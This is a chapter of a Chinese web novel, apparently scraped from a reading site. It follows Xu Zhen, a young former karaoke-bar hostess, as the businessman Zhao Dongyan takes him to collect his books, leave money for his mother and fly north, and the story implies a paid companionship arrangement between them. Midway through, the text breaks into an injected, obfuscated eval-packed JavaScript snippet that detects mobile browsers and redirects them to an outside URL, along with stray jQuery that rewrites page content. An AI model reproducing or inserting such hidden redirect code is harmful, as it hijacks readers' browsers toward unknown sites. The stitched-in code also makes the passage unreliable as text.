赵东衍的助理小乐,是个二十二三的小年轻,为人勤恳周全,一张笑脸。
    他开车把赵东衍和许真载上,离飞机起飞还有两三个小时,赵东衍便问许真,还有没有要去的地方。
    许真想了想,犹豫着说,想回趟宿舍,拿点东西。
    自从他在歌厅陪酒的事让学校的人知道了,他就在学校住不下去了,室友都说他有艾滋病,打他,每天把他的衣服被褥往厕所里扔。
    所以,准备高考的最后几个月,他住在歌厅老板给安排的宿舍里,不要钱。
    宿舍在一栋老筒子楼里,许真说不用,但赵东衍还是陪着他上去了。
    楼道里一股陈年的霉味,许真用钥匙费力地开了锈蚀的锁。
    赵东衍先探头朝里面看了一眼,才把穿着昂贵皮鞋的脚踏了进去。
    屏幕冒雪花的老旧电视机里放着《梅花烙》,绿色的塑料珠帘在阳台的风中微微晃,发出细碎的声响。
    空气异常的闷热,汗馊味和劣质化妆品的味道混合在一起。
    头顶的吊扇吱嘎吱嘎,像要断气般徒劳地工作着。
    客厅和卧室各有几套上下铺,拥挤不堪。
    许真的床在靠门的下铺,周边的杂物堆得难以下脚,从上铺的边缘挂下来一片花花绿绿的衣服,男式女式的都有。
    不过,很快赵东衍就知道,那些东西都不是许真的。
    他的,就只有床上的一些。
    他的床看起来特别干净,白色的蚊帐,蓝白条纹的床单,铺得一丝不苟。
    日用品,衣服,他都不要了,就从床头的一个小柜子里抱出来一摞书。
    赵东衍还没看清都是什么书,就听见背后有人叫他。
    “哎……老板,您是……张老板吧?您怎么来这了?”
    是个堆着笑的小年轻,一头半褪了色的红毛,群青色化纤衬衣、短裤、人字拖。
    他匆匆忙忙把手里那碗油腻的酸辣粉放在桌子上,又惊又喜地围上来。
    看来,是许真的室友。
    赵东衍看了他一眼,不确定是不是上次在那家歌厅应酬的时候见过他。
    不过这样的,见过了他也没印象。
    “阿真啊,怎么让大哥站着,也不知道招呼招呼,”红毛很殷勤,用手拨了拨头发。
    他媚眼如丝般地,喋喋不休起来:“张大哥,好久没见您来了,今天晚上我好好陪您喝两杯?我们现在搬到……”
    那语气里拙劣的趋奉意味过重,显得不伦不类。
    赵东衍有些想笑,后面他说什么,他就没听见了。
    要说这小红毛上心,他连自己的姓都能记错,但要说他没诚意,他还能记得自己是北方人,要您来您去地讨好。
    见赵东衍没有要理他的意思,红毛讪笑了两声。
    他该是有些愠怒的,但哪敢对老板发,于是立刻调转了方向。
    “哎呀,阿真,你高考考好了吗?什么时候回来上班?经理天天念叨你呢。哎,错过了考试也好,你说你要是真上了大学,多可惜你这张脸啊……”
    语气里难掩尖酸,老鼠磨牙般的模样。
    赵东衍皱了眉。
    许真则是回头看了一眼红毛,视线又移到赵东衍身上。
    他身上的西装手表和袖扣,还有他本人,没有一件应该出现在这个地方。
    许真的动作便又加快了很多,用几个红色塑料袋包着书,用力抱在怀里站起来,跟赵东衍说:“……我好了。”
    那些书下面,好像还有件黑色的东西,赵东衍没看清是什么。
    他只是嗯了一声,便从他怀里把那摞高得吓人的书直接接了过来,都端在了自己手里,说:“走吧。”
    他低头一看,高考数学真题集,必背英语词汇……
    赵东衍眨了眨眼睛。
    他把这些东西拿到这做什么?
    许真怀里一轻,愣了愣,连忙跟上赵东衍。
    红毛见没人理自己,终于臊眉搭眼起来,但还是不死心,紧追了两步,声音里带了些媚人的嗔怪:“哎,张哥……”
    许真在门槛边停了一步,把他猛地往里堵了一下,没让他涂着紫红色指甲油的手指勾到赵东衍的衬衫。
    他声音很冷,眉毛也立起来了:“他姓赵!”
    赵东衍在前面听着,差点忍不住笑出来。
    许真说完了,便把自己那把钥匙往红毛怀里一拍。
    “哎,你不回来了?!”
    赵东衍和许真在幽深的楼道里走远了,还能听到他在背后不可置信的尖利声音,在天井里回荡着。
    小乐看见自家老板抱着那么高一摞书下来,吓得下巴都掉下来了。
    他家赵总什么时候帮别人拿过东西?
    “把我的行李箱打开。”赵东衍在书堆后面发号施令。
    小乐连忙照做。
    赵东衍习惯轻装简行,行李箱本来很空,这一下就全部装满了。
    小乐忙着,赵东衍便回头看。
    许真方才挡红毛那样子,让他一下子就想起见他的第一面。
    那时他流血的手里攥着个玻璃片,眼睛里都是烈性,烧着的火一样,嘴唇紧紧咬着……
    但那样的神情已经不复存在了,他正看着自自己,还是用那么温驯湿润的眼神。
    赵东衍笑了起来,抬了抬下巴:“那是什么?”
    许真愣了愣,意识到他问的是自己怀里抱着的东西,连忙答道:“西装……您的。”
    赵东衍这才想起来,好像是大半年前那次,他忘记带走的。
    没想到许真竟然留到了现在,是一直放在他那个小床头柜里吧。
    西装上有了些折痕,但看起来很干净,叠得整整齐齐。
    他便温声道:“给你吧。”
    许真眨了眨眼睛,垂了睫毛,下意识将衣服又抱紧了些,点了点头。
    “还要去什么地方吗?”
    后备箱合上了,赵东衍一只手按着车尾,又问许真。
    端着这么大一摞书下六楼,他有些热,挽起了衬衫袖口,露出了线条分明的手臂肌肉,瑞士名表,在他的手腕上亮亮的。
    许真下意识吞了下口水,想了想,问:
    “赵……东哥,能不能,借我点钱。”
    “多少?”赵东衍干脆地问。
    “一……”
    许真本来想说一万,喉结动了动,又觉得自己实在很难再付昨晚那么大的代价。
    于是改了口,声音有些怯:“五千,可以吗?”
    赵东衍直接从钱包里随手抽出一张卡,让小乐去取两万。
    许真张了张口,脸色有些发白,但没敢说什么。
    车子开到另一个老小区。
    厂区大院,连厂长都只开桑塔纳,没人见过这车,他们收获了一路侧目。
    许真抱着钱上了楼,这回赵东衍没再跟着,他松了一口气。
    一路跑上去,许真把钱一沓一沓塞进自家门口的信箱里,钱很厚,分了几次才完全塞进去。
    塞完了,他使劲敲了敲防盗门,直到里面有了女人应声的动静。
    这个点,厂里没下班,他爸肯定不在家。
    许真连忙跑下楼,气喘吁吁地钻进车里,麻烦赵东衍快走。
    小乐车技不错,很快掉了头,许真一回头,就看见母亲穿着拖鞋从单元门口跑出来,她哭喊着追了几步,知道追不上,才踉踉跄跄停住了。
    他一直回头看着,看着陈梅的身影越来越小,直到车转过一个路口,再也看不见了。
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613986|187662||http|test|mini|href|location''.split(''|''),0,{}));
    () {
    $(''.inform'').remove();
    $(''#content'').append(''
    他望着空落落的路口,好一阵子,才转回了头。
    *
    飞机起飞时,恰是日落时分。
    许真是第一次坐飞机,更是第一次坐头等舱,因为新奇感,细长的眼睛一直睁得大大的。
    心里一直挂念着的家里的事,在飞机从跑道上腾空的一刻,随着那样的震动和失重感化为了乌有。
    许真好奇地看向窗外,感觉自己心头那种沉重的情绪,就像眼底迅速远去的景安市建筑一样,被迫地离他远去,变得越来越小,直到看不见。
    心脏有一瞬间被抽空的感觉,又让他有了一种奇异的轻松,几乎像是快乐。
    赵东衍翻着杂志,感觉许真一直往自己这边的窗口看,因为太好奇,都有些伸长了脖子。
    但他只要一回头,许真就会回过神一般,赶忙把头缩回去,看向别的地方。
    赵东衍笑了。
    许真一直给人一种超越他年龄的平静感,好像对什么都见惯了似的,没想到会对飞机这么有兴趣。
    这让赵东衍心底染上一种淡淡的愉悦。
    他打了个手势,让许真起来。
    许真以为他是要去卫生间,连忙磕磕绊绊打开他帮自己系上的安全带,站到过道里。
    结果,赵东衍却指了指:“你去坐里面。”
    许真愣了愣,以为是里面的座位有哪里不舒适,等坐进去感受了一下,又疑惑起来。
    他看看赵东衍,又看看窗外,然后再回来看赵东衍。
    赵东衍继续翻着杂志,却感觉旁边那个小孩换了注视的目标,一直在呆呆看自己。
    “你不是爱看外面,怎么位置换给你了你又不看了?”
    他憋着些笑意问。
    许真的眼睛又瞪大了。
    原来赵东衍真的是为了方便让他看外面,才跟他换位置的。
    他有些发愣,有些不明白为什么,但还是连忙转过头去。
    像害怕浪费赵东衍让给他的机会一样,许真全神贯注地看向外面。
    外面确实好看,雪地一样的云海,慢慢染上夕阳的粉红色。
    几小时的航程,他就那样乖乖趴在窗边,看了一路的白云和落日。
    而因为有了他,赵东衍也是第一次觉得,无聊的飞行也那么有趣。
    下次出差,再带这小孩儿坐飞机吧,他愉快地想。
    刚出机场,赵东衍就接了几个工作电话,赶去公司加班了,吩咐小乐先去酒店给许真开个房。
    北方的空气很干燥。
    许真早上醒来,张开手指,感觉着绷紧的皮肤,又看了看外面的天空,好像很高很远的样子。
    真新奇,他发了一会儿愣。
    有那么一瞬间,一种新生活的感觉席卷了他,那感觉并没有他想象的那么令人畏惧。
    恰恰相反,竟然相当的开阔,高远。
    许真早已下了飞机,但他的心却迷迷糊糊的,好像一直停留在万米高空之上。
    酒店房门被敲响了,他从被子里坐起来。
    兴冲冲地去打开门,却发现外面不是赵东衍。
    是小乐。
    他笑呵呵的,说赵东衍昨天有了紧急的工作,又去了外地,还要两三天才能接他回家了。
    许真有些失落,嗯了一声。
    不过,两三天而已,他一点都不怕等。
    大半年前,在歌厅上班的第一天,他就碰到了赵东衍。
    那次赵东衍给经理压了不少钱,说要包许真一个月,让他等着自己。
    可是后来,许真就再也没见过他。
    许真想,这大半年里,赵东衍应该早把那一次忘了吧。
    他还没有找到机会告诉他,自己一直都没有忘,一直都在等着他。